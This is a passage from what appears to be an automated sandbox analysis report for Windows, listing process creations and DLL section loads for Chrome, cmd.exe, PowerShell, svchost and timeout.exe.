Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2008,i,13683390946796946304,14765207737704090902,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apisethost.appexecutionalias.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: daxexec.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: container.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: capauthz.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositorycore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.applicationdata.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.applicationdata.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.applicationdata.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
